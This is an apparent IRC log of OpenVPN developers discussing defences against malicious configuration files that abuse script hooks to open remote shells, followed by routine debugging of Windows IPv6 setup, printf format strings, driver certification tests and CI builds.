reported it to the security list - "never trust a vpn config from an unknown source" 08:04 <@plaisthos> breaking news, feature execute external commands can be used to execute external commands 08:04 <@plaisthos> how shocking 08:04 <@cron2> well, that it can be used that easily to open a remote shell is somewhat surprising indeed 08:04 <@cron2> (= you need *no* external scripts already in place) 08:45 <@plaisthos> you could add a no-external-script-blabla override 08:45 <@plaisthos> but then again I think we poorly defend against the whole thread model of untrusted configs 08:45 <@plaisthos> so probably there are a lot of other things that can be exploited 09:00 <@cron2> one of the ideas was to have the gui control --script-security - if it's passed in *after* --config, it could reset it to 0, turning off scripts 09:18 < kitsune1> Its a good idea for the GUI to turn off scripts.. and add a command line option to the GUI to allow scripts. Scripts run by the GUI itself is less of a threat I suppose as those have to be explicit bat files (cant be embedded). 09:27 < kitsune1> "trusting a random person with all your internet traffic" is indeed less of a threat than allowing a remote shell. 10:32 <@ordex> if a person is so clueless to execute a configuration file without checking a bit of its content, then he is probably enough clueless to follow bogus instructions and enable scripts in the GUI too... 10:42 < kitsune1> True, but disabling by default protects the user --- use may complain about not able to run scripts but that's less dangerous. 10:42 < kitsune1> user 10:44 < kitsune1> The whole point is that no instructions are currently needed to exploit scripts and this is indeed a new kind of threat. Our script-security model is more about exposing passwords or env variables and less about remote exploits. 10:55 <@ecrist> I think there is some level of, "don't do stupid shit" 10:55 <@cron2> our current config model is "it is written by a user who consciously puts things there because the manual explains why" 10:56 <@ecrist> i.e. you can't NOT sell chainsaws because they can chop off a foot 10:56 <@ecrist> you simply trust, at some level, the person will be careful and not do that 10:56 <@cron2> but for new-style config with embedded certs etc. this no longer holds true - the new model is "you buy a VPN service, and you get a .ovpn that has all you wants, and you expect this to not harm your machine" 10:56 <@cron2> (it might steal your traffic, but won't run shell backdoors) 10:57 <@cron2> ecrist: but if you manufacture chainsaws, and you leave off all the security bits, you can NOT sell them here 10:57 <@cron2> (these levers that stop the saw when you let go of the handle) 10:58 <@ecrist> yes, you're right cron2, but there is always some level of danger 11:01 < kitsune1> Even if users are expected to scan configs (are they?), expecting every lay linux user recognize that something is wrong with /dev/tcp in a config file is a tall order. 11:08 <@cron2> ecrist: sure, getting out of bed in the morning comes with danger, and staying in bed has more danger (most people die in bed :-) ). But it's somewhat about expections - windows users have been trained to klick away security warnings and run stuff from the Internet, so we can't really blame them for it. Linux users, on the other hand, should have learned to look more closely... 11:12 <@ecrist> cron2: We should do things as safely as possible, sure. I'm not in favor of coddling stupid people, though. 11:13 <@ecrist> That said, I think it would be interesting if OpenVPN has some sort of detection and reporting component for shell backdoors and the like. 11:13 <@ecrist> "Hey, this subprocess from script X opened a port, you should know about it." 12:30 <@cron2> it does not have anything, and such a thing (cross-platform) would be highly non-trivial 12:30 <@cron2> plus, on the server side, you'll have such functionality in plugins quite frequently (ldap, radius, ...) 16:13 <@mattock> minimal HLK test environment is up 16:14 <@mattock> I think this thing has a possibility of succeeding 16:35 < tincantech> how about roll two windows installers .. one with all scripts and --client hardcoded on ? and the other as usual 16:37 < tincantech> i mean: one with all scripts disabled and --client hardcoded 16:48 < tincantech> you could even make ^that^ version the offcial windows installer (abd the full version a couple more clicks .. with WARNINGS) 20:47 <@ordex> cron2: ecrist: kitsune1: wouldn't it make sense to force --sript-security to be accepted *only* outside of configuration files? this way we definitely need something that is not the configuration to specify it. it being the GUI, the user on command line or a setting that turns it on in systemd 20:48 <@ordex> wouldn't this make the whole thing a bit more "saner"? yes, clueless users can and will still enable it without checking what's inside the config file, but yeah, at least we provide a "double lock" 21:55 < tincantech> ordex: and shake it all about ! :D 22:01 <@ordex> shake shake shake 22:02 < tincantech> shake your booty XD 22:02 < tincantech> it is a curious problem though 22:03 < tincantech> i have been passing all sorts of crap via envs but that particular method is quite cool 22:39 -!- pine127_ is now known as pine127 22:50 < kitsune1> ordex: wont that break too many setups out there? Including servers. I would lean towards a less drastic approach that protects only casual users who are the most vulnerable to such threats. That means keep the option but have the GUI override it with --script-security = 0 or 1 as the default (as cron2 suggested). 22:51 < kitsune1> All others are supposed to know what they are doing and hence are not affected.. 22:52 <@ordex> kitsune1: yeah i agree that breaking that many setups is not a good idea, even though this might be a good cause 22:52 < kitsune1> Different GUI authors may handle it as they see fit -- so here we are only concerned about the Windows GUI. 22:52 <@ordex> but there are more users than just windows users out there 22:53 < kitsune1> Most clueless Linux users would use NM which doesnt support scripts (does it?) Others should be writing their own configs :) 23:00 < kitsune1> but I like your suggestion though -- it would be a neat approach even if it will anger many users -- who wants to tweak systemd to enable an option. Not me. 23:42 <@ordex> well, systemd might decide to set it to 2 by default, then it's their problem :P 23:43 <@ordex> on the wireguard mailing list there is a thread about this blogpost (they have a similar problem with their configuraton tool) and the few people that already replie said "it's a user problem" 23:43 <@ordex> but yeah, helping people to avoid bad choices is definitely a good thing 23:44 <@ordex> what I wonder is if we could rather emit udev signals instead of relying on scripts that we execute ourselves. but yeah, not sure sure if there is anything similar on windows --- Day changed Fri Jun 22 2018 01:27 <@cron2> ordex: this are all nice things you can do with 3.x - 2.x is more than "linux and systemd", and people do much more with 2.x than "run it from systemd". So breaking existing configs is a total no-go for 2.x 01:29 <@cron2> what dazo suggested might be an approach for 2.5 - have a "policy" defined somewhere, outside openvpn, which governs which options are allowed 01:29 <@cron2> so a default policy could be "2.4 defaults" or "totally restrictive" 01:29 <@cron2> but that would be up to the person installing openvpn, then 01:31 <@cron2> oh, syzzer is back 01:46 <@syzzer> cron2: well, just found some spare hours after $gf went to bed early ;-) 01:46 <@cron2> those evenings, yeah :-) 01:53 <@cron2> ordex: so, 2/8 v4, how's it going? 02:13 <@ordex> cron2: got some error from windows 02:13 <@ordex> Fri Jun 22 13:43:51 2018 us=230665 TUN: adding address failed using service: The parameter is incorrect. [status=87 if_index=42] 02:13 <@ordex> not sure what changed, but I will have a deeper look in a bit 02:13 <@cron2> this looks like it wants to install 0.0.0.0 as a v4 address using the service 02:14 <@cron2> you need to be careful which mode it is using to setup an interface - this is worse than linux :-) - there can be "dhcp", "ipapi", "netsh" or "interactive service" 02:14 <@cron2> half of them are not set up in do_ifconfig() but in open_tun() (because it won't work otherwise) 02:15 <@ordex> hm ok 02:15 <@cron2> feel free to send a log (verb 4, 20 lines before the error) to the thread on the list 02:15 <@ordex> oky, will sanitize it and send 02:24 <@ordex> cron2: do you still like when i do "reply all" to the mailing list and yo end up also in CC? 02:25 <@ordex> or I better remove you from there? 02:28 <@ordex> removed :p just safer 02:29 <@cron2> for "ongoing discussions", I do not really mind (mutt flags this as duplicate). For patches, please no CC: :) 02:34 <@ordex> alrighty 02:34 <@ordex> :) 02:35 <@ordex> I mailed without CCing you anyway :p 02:51 <@ordex> cron2: who is printing that error that I pasted above? the service itself? does it mean that openvpn launched form the command line may work, but it does not when using the service? (/me knows little how thing works on windows) 02:58 <@cron2> ordex: "git grep" is your friend as well as mine :-) - but the answer is easy: you won't see error *messages* from the service in the openvpn log, as the protocol only permits "errno" replies (as far as I remember). So the service may log complaints in the windows log, but "textual messages in the openvpn log" come from openvpn 02:59 <@ordex> ok! 03:00 <@ordex> my friend grep did not find anything, but I went for the lazy approach...I'll look deeper now 03:00 <@ordex> yeah because the message is not a pure contant, but a format string filled with the right words at runtime...this is why the laxy approach did not work ;P 03:20 <@ordex> *constant 03:20 <@ordex> *lazy 03:33 <@ordex> uhm, it seems that message is printed by do_address_service() which is only invoked for ipv6 03:33 <@ordex> interesting 03:37 <@ordex> I don't fully get it...ipv4 on windows is handled via netsh_ifconfig(), but it is invoke din both open_tun() and do_ifconfig_ipv4(). but i think in open tun is invoked *only* if there is no DHCP enabled 03:38 <@ordex> hm but then it seems that the netsh_ifconfig() in do_ifconfig_ipv4() is executed in any case.. 04:20 <@cron2> it should depend on tt->options.ip_win32_type being set to IPW32_SET_NETSH 04:21 <@cron2> the one in do_ifconfig_ipv4() definitely does 04:22 <@cron2> but your assumption "ipv4 on windows is handled via netsh_ifconfig()" is *wrong* 04:23 <@ordex> ah the switch in do_ifconfig_ipv4() does not enumerate all the cases, ADAPTIVE is missing, this is what confused me 04:23 <@ordex> ah 04:23 <@ordex> then I might be missing something 04:23 <@cron2> ipv4 on windows has 3 or 4 different ways, and netsh_ifconfig() is handling "netsh" and "adaptive-if-dhcp-fails". There's also ipapi, and "service" 04:24 <@ordex> when the DHCP is active, will the interface get an ip on its own? or does openvpn still require to read the DHCP reply somehow and apply the settings? 04:24 <@cron2> when DHCP is active, we tell the DHCP server in the tap driver via ioctl() what the IP address is 04:24 <@cron2> this is --ip-win32 dynamic (and I think it's the default) 04:25 <@ordex> oh ok, that's what the ioctl is for 04:25 <@ordex> (which is where now with my patch we send 0.0.0.0 I guess) 04:26 <@cron2> there is two ioctl() - one is "hey, tap driver, please go to tun mode, and send fake ARP replies to <gateway IP>" - this is the one that gets 0.0.0.0 now 04:26 <@cron2> the other one is "hey, tap driver, here's an IP address to hand out via DHCP" 04:26 <@ordex> alright 04:27 <@ordex> maybe not something you want to explain now....but why so many different ways of handling this? why couldn't we just use the most convenient/easiest? 04:27 <@ordex> I understand tap and tun may have different ways of being configured, but this currently looks more than just tun vs tap 04:28 <@cron2> ordex: what sort of question is this? This code goes back to "before WinXP" 04:28 * ordex has no clue about windows networking 04:28 <@ordex> so each windows version requires its own way for setting IPs and related stuff? 04:28 <@cron2> it's like "why do we have code in there that deals with linux 2.2 and earlier?" 04:29 <@ordex> okok 04:29 <@cron2> (we haven't, anymore, because plaisthos ripped that out for 2.4.0 :-) ) 04:29 <@ordex> hehe ok 04:29 <@cron2> "netsh.exe" is a fairly new invention, as is the IP API to configure things. Some of the APIs require privileges that OpenVPN did not have, etc. 04:30 <@cron2> so DHCP was an elegant hack to get IPv4 in place... for some reason WinXP permitted users to call "route.exe" to set up routes, but IP address configuration wasn't possible by command line, or something like that - I didn't write any of this :-) 04:31 <@ordex> :P 04:31 <@ordex> I see 04:31 <@ordex> right now do we still officially support winxp? 04:31 <@cron2> now that we have deprecated WinXP and Vista, we could propably rip this all out and only leave "IPAPI" and "Service" in place - IPAPI if you have admin privs and no interactive service, and "service" if you have :-) 04:31 <@cron2> no 04:31 <@ordex> ok 04:31 <@ordex> yeah that sounds good 04:32 <@ordex> maybe once we do the networki api implementation for windows 04:32 <@ordex> we could implement those we want and rip the rest of the code (?) 04:33 <@cron2> it will need lots of testing, but yeah 04:34 <@ordex> yeah 04:35 <@cron2> so, the error message is coming from do_address_service() which is a bit surprising indeed 04:35 <@cron2> what 04:35 <@cron2> we do not even use the iservice for IPv4 today 04:36 <@ordex> yeah, this is what I was somewhat tracking. do_address_service is invoked only with AF_INET6, so something setting up ipv6 is failing now 04:39 <@cron2> oh 04:40 <@cron2> it might be totally unrelated - you're trying to ifconfig an invalid IPv6 address... 04:40 <@cron2> ifconfig-ipv6 2002::1001/112 2002::2 04:40 <@cron2> 2002:: is 6to4 space, and if windows actually checks what you're doing, it could disallow you from using that 04:40 <@ordex> oh 04:40 <@ordex> I didn't think of it, just configured the server with $something and linux did not complain 04:41 <@cron2> (because 2002:: is intended to be auto-conf'ed with 2002:<ipv4>: as the prefix, and that would be "0.0.0.0" as v4 relay address 04:41 <@ordex> I see 04:41 <@ordex> I'll try 2001:abab::/112 04:41 <@cron2> if you want a test prefix, use the test prefix range, which is 2001:db8::/32 :-) 04:42 <@cron2> (officially set aside to be used in documentation and experiments) 04:43 <@ordex> lol there is an ipv6 for everything, really 04:43 <@ordex> :D 04:43 <@cron2> we learned from the IPv4 world where people made it impossible to use whole ranges because they "just grabbed them and hardwired them into stuff" 04:43 <@ordex> yeah 04:43 <@ordex> that's true 04:43 <@cron2> like 1.1.1.1 being hardwired into devices for "initial configuration" 04:44 <@ordex> I hope we won't run out of ipv6 too by just using this /32 for this and that /32 for something else 04:44 <@ordex> yeah 04:44 <@cron2> there's 4 billion /32s ;-) 04:44 <@ordex> hehe 04:44 <@cron2> so as long as we're using /32 for "something larger than a single human" we're good 04:45 <@cron2> (like, a company, an ISP, a government, *one* documentation range, ...) 04:45 <@ordex> yeah 04:47 <@ordex> ok, after switching the IP range, that error is gone 04:47 <@ordex> but the ASSERT is still there, so there is something else triggering it 04:48 <@ordex> I will post this to the ml too 04:48 <@cron2> where's the ASSERT? 04:49 <@ordex> at the end of the log file 04:49 <@ordex> Fri Jun 22 13:43:56 2018 us=729483 Assertion failed at argv.c:299 (0) 04:49 <@cron2> that is not in my log :-) - what you sent ends with 04:49 <@cron2> NOTE: Release of DHCP-assigned IP address... failed 04:50 <@ordex> yeah, the assetr is slightly before that 04:50 <@ordex> *assert 04:50 <@ordex> grep is your friend!! :P 04:50 <@cron2> ah, there 04:50 <@ordex> 7th line from the bottom 04:51 <@cron2> I searched for ASSERT and for "something at the end of the log" and could see anything, but have it now 04:51 <@ordex> ops sorry, been too vague 04:51 <@cron2> all good 04:51 <@cron2> afk for a while... bbl 04:51 <@ordex> k 04:52 <@ordex> actually that "NOTE" at the end might be removed by changing dhcp_release_by_adapter_index() to chek for tt->did_ifconfig_setup, as dhcp is a ipv4 only thing 04:54 <@ordex> weird, the assert happens after "MANAGEMENT: Client disconnected", so something else triggered the disconnection 04:54 <@ordex> why is the TEST ROUTE there... 04:54 <@ordex> mh 04:57 <@ordex> ah ok, the message is still printed 04:57 <@ordex> but it returns true 05:04 <@ordex> maybe this is even unrelated to th current ipv6 code..because it seems to happen upon disconnection and maybe nobody has seen it before (?). but why the client disconnect, it's another story 05:06 <@ordex> maybe the client disconnected is just printed because openvpn is shutting down due to the assertion 05:12 <@ordex> FOUND 05:21 <@ordex> I still have to fiure out why it wants to disconnect... 05:35 <@ordex> *figure 07:08 <@ecrist> ordex: no, if --script-security can only be defined outside, what real benefit is there? You make it more difficult for server configs since now the admin has to set up environment variables or something else to accomplish the same thing 07:08 <@ordex> ecrist: I think openvpn is launche din gazillions of environments, but I imagined where the server admin can tweak a variable in the init script configuration so that it would launch openvpn with that option 07:09 <@ecrist> I think it's a change with little real-world benefit 07:10 <@ordex> ecrist: and the point is that now somebody can give you a config with script-security=2 and the clueless user won't notice the same way he did not notice the "shell code". while if openvpn complains and says "hey for your config you need to add this on the command line because the config demands the execution of some script", then I see the user as being informed timely about the problem 07:10 <@ordex> then he can choose to ignore the message or he can choose to understand why 07:10 <@ordex> this was my thought 07:10 <@ecrist> I understand your reason why, I think it's overbearing and with little real-world benefit. 07:11 <@ecrist> that same clueless user is going to simply follow some instructions passed from the VPN provider to set the environment variable. 07:11 <@cron2> re 07:11 <@ecrist> This starts to get us back into when we had a compile time rule for whether we accept user/pass in a file or not. 07:12 <@ordex> ecrist: hehe I was not there, but I can imagine 07:12 <@ecrist> it was a real thing 07:12 <@ordex> but why do you talk about env variable? --script-security is just a command line option (or config option) 07:13 <@ecrist> and it was stupid because admins that wanted to deploy had to jump through all the hoops of re-compiling the windows openvpn client 07:13 <@ecrist> on *nix it was easy. 07:13 <@ordex> well yeah, recompiling is definitely not something everybody wants to do 07:13 <@ordex> anyway, I still believe deferring such operations to a system service (i.e. udev) would be beneficial, but not sure how this can work on other systems 07:14 <@ecrist> I think making change simply for the sake of making change is non-productive. 07:15 <@ordex> agreed 07:16 <@ordex> cron2: I believe I fixed the assert in the meantime 07:17 <@ordex> and I can say....it wasn't me!! 07:17 <@cron2> so what is triggering it? and who was it? and do we need to backport to 2.4? 07:19 <@cron2> argh 07:19 <@ordex> the patch is very small, you could definitely backport it 07:19 <@cron2> and, btw, %u is *wrong* for "unsigned long" 07:19 <@cron2> %u is *unsigned int* 07:20 <@ordex> which is 32bit long anyway, no? 07:20 <@cron2> on some architectures today, long and int are both 32 bit. On others, long is 64 bit. 07:21 <@ordex> does it depend on the arch only? or also on the OS too? 07:21 <@cron2> arch, OS, compiler model, ... 07:22 <@cron2> "one does not simply do printf() format string shortcuts" 07:22 <@cron2> I do wonder why you are seeing this, and nobody else 07:22 <@ordex> hmmm for some reason I had the feeling using %u was correct, but it clearly is not at this point 07:23 <@ordex> actually.. 07:23 <@cron2> %d/%u is "signed/unsigned int, with no long/short qualifiers" 07:23 <@ordex> if int is guaranteed to be at least 32bit then it;s ok, because DWORD is always 32 bit 07:23 <@ordex> yeah 07:23 <@cron2> well, we do not support windows builds where int=16 bit 07:24 <@ordex> right 07:24 <@ordex> but still, %lu is definitely "cleaner" 07:24 <@ordex> so better might be to implement %lu for argv_printf 07:24 <@cron2> as a side note - if you look at the commit that introduced this problem, 06ad53e067d9a8, you'll see where you end up when taking printf shortcuts 07:24 <@ordex> I wonder if we print DWORDs somewhere else with %u 07:24 <@cron2> someone else then gets to fix things and blows up more :-) 07:25 <@ordex> yeah that's the other format dance 07:25 <@ordex> :D 07:26 <@ordex> cron2: re: why I see that: maybe others did not care because everything just works? 07:26 <@ordex> this is triggered at disconnection time 07:26 <@ordex> (not sure about soft-reconnections) 07:27 <@ordex> cron2: I just found another spot where a DWORD is casted to int and printed with %d 07:27 <@cron2> add_route() should trigger this at connect time as well 07:28 <@ordex> hmmm 07:28 <@ordex> no clue 07:28 <@ordex> and why do we enter add_route() at disconnection time 07:29 <@cron2> the log should tell :) 07:29 <@ordex> I wonder if this was not the issue :D but just another "bogus" format string that I found by accident 07:29 <@ordex> yes 07:29 <@ordex> if I could compile the cr0p 07:29 <@ordex> :p 07:29 <@cron2> ah, no, it only prints the route command after the %lu :) 07:29 <@ordex> yeah 07:29 <@ordex> but with my patch, I wanted to see if the assert was still there ornot 07:29 <@ordex> *or not 07:30 <@cron2> send me a username, ssh pubkey, and IPv4 or IPv6 address where you connect from 07:30 <@ordex> cron2: btw DWORD are already printed in several places after being casted to unsigned int or just int :/ 07:30 <@ordex> k 07:32 <@cron2> *casting* to (unsigned int) is likely ok. (int) might not be (but that depends a bit on the expected range of values) 07:33 <@ordex> The range is 0 through 4294967295 decimal. 07:33 <@ordex> so it's unsigned for sure 07:34 <@cron2> if you have a DWORD that is used in a "for(i=0;i<10;i++)" loop, the "range" is 0..10 07:34 <@ordex> and unsigned it is ok, so I guess my patch wouldbe ok if "ai" is casted when passed to argv_printf() 07:35 <@ordex> ah well...having not a uniform rule about how to treat type might make the code..interesting, no? I think it would rather be better saying "let's handle DWORDs always like that" and unsigned int is probably the closest thing to "that" at this point 07:35 <@ordex> of course, this is just restyling 07:36 <@cron2> what I'm saying is "the existing code is fine if it's using %d and (int) and knows that it will never even be close to 2^31", so "no need to change things right now" 07:36 <@ordex> yeah, agreed 07:37 <@cron2> ah, dang 07:37 <@mattock> HLK tests running on Windows Server 2016 07:38 <@mattock> if the time estimates are correct they will run for at least 12 hours 07:38 <@ordex> wow 07:38 <@mattock> I guess mostly due to dozens of reboots 07:38 <@mattock> hmm actually 07:38 <@cron2> ordex: can you reach ubuntu1604.ov.greenie.net via SSH? 07:38 <@mattock> now that I think of it 07:39 <@mattock> I did not even upload a driver there - it just let me launch the tests :P 07:39 <@mattock> I wonder what it is testing actually 07:39 <@mattock> back to docs lol 07:40 <@ordex> cron2: yes 07:40 <@ordex> bbl (dinner) 07:41 <@cron2> enjoy 08:09 <@mattock> ok I start to understand how the HLK thing works... it expects to find an installed driver on the client (test) systems 08:09 <@mattock> that installer driver will then be selected and tested against 08:10 <@mattock> my worry is that if some of the tests fail MS might not give us the signature 08:10 <@mattock> in which case we may have to hire somebody to do some fixing 08:11 <@mattock> there are probably hundreds of tests for NDIS virtual network drivers 08:13 <@cron2> let's wait for the results before starting to worry :) 08:17 <@mattock> ok, _now_ the tests are running against tap-windows-9.21.2 08:17 <@mattock> i.e. current official version 08:17 <@mattock> which is fine for testing 08:18 <@cron2> except that it bluescreens if you feed it certain queries :-) - so let's see how thorough HLK testing is 08:21 <@mattock> yeah the HLK tests might actually turn out to be usefull 10:37 <@mattock> ok now the test suite is running on a test-signed tap-windows6 which includes most of jkunkee's stuff 10:40 <@ordex> did the previous driver survive all the tests? 10:52 <@mattock> no, I interrupted those tests 10:53 <@mattock> I wanted to get as much of jkunkee's stuff in before waiting for 12 hours :P 10:53 <@mattock> but now everything except arm64 installer stuff is in there 10:53 <@ordex> hehe ok 11:06 <@cron2> so which of the open PRs are in and which are missing? 11:07 <@cron2> ordex: have you managed to build something? 11:07 <@ordex> cron2: yup, thanks 11:07 <@cron2> cool :) 11:07 <@ordex> Windows laptop is busy right now, so can't test in this moment, but will do in a bit or later 11:08 <@cron2> (actually I'm somewhat curious why it didn't work on your machine... it's a standard ubuntu 16.04 following mattock's instructions in trac) 11:10 <@ordex> imho it's the windows-nsis thing that is off on my laptop 11:11 <@ordex> I am using v3.something and I even had to modify some script file in openvpn-build to make it work 11:11 <@ordex> if I use 2.46 (or something like) I can't even compile the windows-nsis binary...so I gave up on that 11:12 <@ordex> and I don't have windows-nsis in my package manager on gentoo 11:14 <@ordex> (yes, I could setup a ubuntu VM somewhere just for that) 11:41 <@ordex> cron2: so, apparently the assert was being triggered during connection startup. With my latest patch fixing the assert I could happily connect to the v6 only server 11:42 <@ordex> now this issue appears to be existing only when applying v6 settings (and this makes sense as the gulty function was invoked for v6 only) 11:43 <@ordex> maybe the "gateway-redirect !ipv4 ipv6" is what was triggerging it? 12:04 <@cron2> it came from add_route() which is an IPv4-only function... but we already discovered that "redirect-gateway !ipv4" still does "something with the route-list" 12:04 <@cron2> so what route does it want to add? 12:14 < kitsune1> Looking at the assert code, its triggered only if a route is added without a gateway (i.e on the interface). May be its never done on Windows normally? 12:15 <@cron2> most likely the "is_on_link()" part is getting confused by having no IPv4 12:16 <@cron2> but it's still buggy code - fix the %lu, and then we can figure out what route it wants to install and why it thinks this is a useful excercise 12:18 < kitsune1> ordex: btw, once you have a recent installation of openvpn on Windows, you can just copy openvpn.exe (and if changed openvpnserv.exe) after rebuilds. Much easier than the full-blown nsis installer build etc. 12:19 < kitsune1> So only the first time need to go through all the pain -- unless when openssl libraries change to an incompatible version. 12:41 <@cron2> I've found it more convenient to just build an installer, put it onto a web page, and install it from there on the windows test system 12:42 <@cron2> (... when I finally figured how *how* to build the installer... :) ) 12:43 < kitsune1> The ost painful part is the need to run the full build each time -- I could never get it to work the usual makefile way of rebuilding only changed stuff. 12:43 < kitsune1> most 13:22 <@cron2> yep, that part sucks. If I want to do that (interactively hack-compile-test-hack-compile-test) I take the leftover object directory from a full build run and edit/make/copy openvpn.exe from there :) 13:42 < kitsune1> Oh, I thought those exe's dont work as is because of some libtool magic 14:27 <@ecrist> hey linux nerds, quick question 14:27 <@ecrist> in top, I see a process with 240% CPU utilization 14:28 <@ecrist> but my 1m LA is only 0.37 14:28 <@ecrist> what gives? 15:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:02 < tincantech> ecrist: curiosity .. what flavor of linux ? 20:56 <@ordex> cron2: was the binary you provided me simply master+2/8 ? 22:29 <@ordex> cool, I built openvpn for the first time with gitlan CI :] 22:29 <@ordex> *gitlab 22:32 < kitsune1> can it build for Windows? 22:34 <@ordex> not sure yet 22:34 <@ordex> for now I built only for linux 22:34 <@ordex> well, at least i think I can use openvpn-build 22:34 <@ordex> as it works on linux too 22:37 <@ordex> it doesn't seem there is any windows host that can be used for building 22:37 <@ordex> but i might be wrong 22:44 < kitsune1> You dont need a Windows host -- cross compiling as with openvpn-build should be possible on gitlab, I guess. The travis-ci script in openvpn repor do that on github, doesn't it? 22:44 < kitsune1> repo 22:47 < kitsune1> Anyway, even openvpn Windows release binaries are made on linux isn't it? 23:00 <@ordex> yes 23:00 <@ordex> this is what I meant 23:00 <@ordex> but on travis-ci (the service we use on guthub) you can fire up an actual windows and macos instance 23:11 < kitsune1> travis has Windows build env? OS X, yes, but I thought only appveyor had Windows. Anyway the right thing to test is cross-compile as that's what everyone uses. 23:11 < kitsune1> For Windows I mean. 23:12 <@ordex> maybe I am wrong 23:12 <@ordex> let me check 23:12 <@ordex> right 23:12 <@ordex> only osx 23:13 < kitsune1> Can gitlab ci save the binary for download -- like artifacts in appveyor? 23:13 < kitsune1> I use gitlab for private repos, but never looked into CI. 23:14 <@ordex> dunno 23:14 <@ordex> just got started 23:14 <@ordex> and I just managed to build something 23:14 <@ordex> and actually on travis we build for windows even without openvpn-build 23:15 <@ordex> the script takes care of building the deps and then just builds everything with the right compiler 23:15 < kitsune1> Yes, just looked at the script. openvpn-build is not needed as its just setting BUILD and CHOST and configure. Except for the nsis bit which I never use -- I just copy the exe's over. 23:27 <@ordex> heh eyeah --- Day changed Sat Jun 23 2018 00:21 <@syzzer> ordex: shall I send the tls-crypt prep patches as a separate set first? 00:39 <@ordex> syzzer: as you wish, but it may make sense to resend the entire batch reordered, so that all the other patches get rebased too, no? 00:39 <@ordex> if approved, patches can still be merged singularly even if part of a set 00:45 <@syzzer> ordex: that's true too 00:45 <@syzzer> basically I'm wondering how much I should re-test each commit after each rebase... 00:46 <@syzzer> (my t_client setup seems broken for some reason, need to figure out why...) 00:49 <@ordex> oh ok 00:50 <@ordex> well, I have never got it to work 00:50 <@ordex> but I just push to build.openvpn.net and let the buildbot deal with it with a forced build 00:50 <@ordex> you can do the same, I think ? 00:59 <@syzzer> yeah, I should 00:59 <@syzzer> but I should first arrange to be access to buildbot overviews 00:59 <@syzzer> I now only see the mails 01:00 <@syzzer> does buildbot build each commit I push, or just the last commit in a branch? 01:00 <@ordex> I think it has autobuild only for master 01:01 <@ordex> when i push a branch, I then go on the buildmaster and schedule a forced build myself by specifying the branch in the textbox 01:01 <@ordex> (via webui) 01:02 <@ordex> therefore it builds only when i really want it to 01:06 <@syzzer> ah 01:06 <@syzzer> I'll drop mattock a mail to get access 01:07 <@ordex> sounds good 01:07 <@ordex> he likes to be poked these days 01:07 <@ordex> :D 01:18 <@ordex> kitsune1: yes gitlab-ci supports artifacts 01:18 <@ordex> kitsune1: https://docs.gitlab.com/ce/ci/yaml/README.html#artifacts 01:18 <@vpnHelper> Title: Configuration of your jobs with .gitlab-ci.yml | GitLab (at docs.gitlab.com) 01:41 <@cron2> ordex: yes (master+2/8+make-it-compile fix) 01:42 <@cron2> syzzer: wrt t_client -> let me know if you want to debug that, so I can check on the server 01:43 <@cron2> ordex: you really want to do local t_client build and tests, much quicker for a first "will it generally work, at least on linux?" than buildbot 01:45 <@ordex> yeah true 01:45 <@ordex> I normally do that manually, but yeah I should switch to that too 02:23 <@vpnHelper> RSS Update - gitrepo: travis-ci: cleanup, refactor, upgrade ssl libraries <https://github.com/OpenVPN/openvpn/commit/c5108260b3699ab01638452ef3c9bef5193e265a> 03:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:21 <@mattock> at a quick glance it seems that tap-windows6 passed all tests except "Run test" which is included in most of the test bundles 03:24 <@mattock> WDTF_TARGETS : Device not configured properly for basic testing: The network device is not operational (it is not in a state to send and/or receive packets) HRESULT=0x80040200 03:24 <@mattock> being the reason 03:24 <@mattock> I think the tests assume that tap-windows6 is a "normal" network driver 03:25 <@mattock> I could filter those tests out but I'm not sure if that prevents us from getting a blessing from Microsoft 03:25 <@mattock> I'll do that this evening so that I get all green by tomorrow morning 03:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:35 <@cron2> ordex: if you're still awake, have a look at ./tests/unit_tests/openvpn/test_argv.c 05:36 <@cron2> argv_str__multiple_argv__correct_output() could use a %d, %u and %lu test case... 07:12 <@vpnHelper> RSS Update - gitrepo: add support for %lu in argv_printf and prevent ASSERT <https://github.com/OpenVPN/openvpn/commit/e38d3a004195f33c5c04fe7c04db5d66c53241bc> 10:17 <@ordex> cron2: I don't fully get your sentence 'Actually it might trigger the on-link ASSERT for the "ipv4 and ipv6" case as well' - what configuration do you have in mind? 10:18 <@ordex> thanks for adding the additional cases to the argv unit test 10:21 <@ordex> oh but you did not amend my patch? 10:32 < kitsune1> cron2: your patch assumes 64 bit systems following LP64 (almost all except Windows on which tests are not run, I guess) -- are there any 32 bit systems where the tests could get run? 10:43 <@ordex> kitsune1: talking about the unsigned long dealing well with a 33bit shift? 10:44 <@ordex> cron2: are you sure that works on linux i386? 12:04 < kitsune1> cron2: yes, it wont work on linux i386 for example, if that's still supported 12:05 < kitsune1> And not no Windows 32 or 64bit but that's probably ok as tests dont run on Windows (?) 12:05 < kitsune1> s/no/on/ 12:07 < kitsune1> sorry, that was ordex :) 12:07 < kitsune1> ordex: yes its abt the 33 bit shift 12:07 <@ordex> yap 12:07 <@ordex> think so too 12:07 <@ordex> but i can't compile for 32bit here 12:17 < kitsune1> I can guess that it will compile with a warning and 1L<<33 will give 0 on 32 bit. And wont pass the test. 12:24 <@ordex> yeah, think so too 12:28 <@cron2> ordex: if you have an on-link IPv4-reachable VPN server, it's likely to trigger the ASSERT() even if you are not using ipv6-only - because it will try to install the "IF %lu" route for *on-link* targets - which is something nobody else has tested 12:28 <@cron2> thanks for shooting down my patch :-) - indeed, need to find a smarter way to test for %lu on systems where that is same size as %u 12:28 <@ordex> cron2: yeah, but via a different code path I guess? because that function where the assert is being generated is executed only when there is v6, right? 12:29 <@cron2> ordex: no, why do you think so? "add_route()" is the generic IPv4 route installer 12:29 <@ordex> ah you might be right and I might be sleepy 12:29 * ordex checks 12:29 <@cron2> the *on link* part is what is relevant here, as in "the VPN server and the VPN client are in the same network" :) 12:31 <@ordex> right, for some reason I thought it was do_address_service() 12:31 <@ordex> yeah you're right, sorry 12:31 <@cron2> do_address_service() failed on 2002:: 12:32 <@ordex> yeah 12:32 * ordex is post wine :> 12:34 < kitsune1> I thought you meant running openvpn.exe using "wine" on Linux :) 12:34 <@ordex> exactly! 12:35 <@ordex> cron2: one meaningful thing to test the argv_printf againt would be to compose the same string with classic sprintf and ensure the result is the same. wouldn't that make more sense? 12:35 <@ordex> *against 12:36 <@ordex> otherwise, I am fine with "just print 1" because I am not sure what else we could really test there 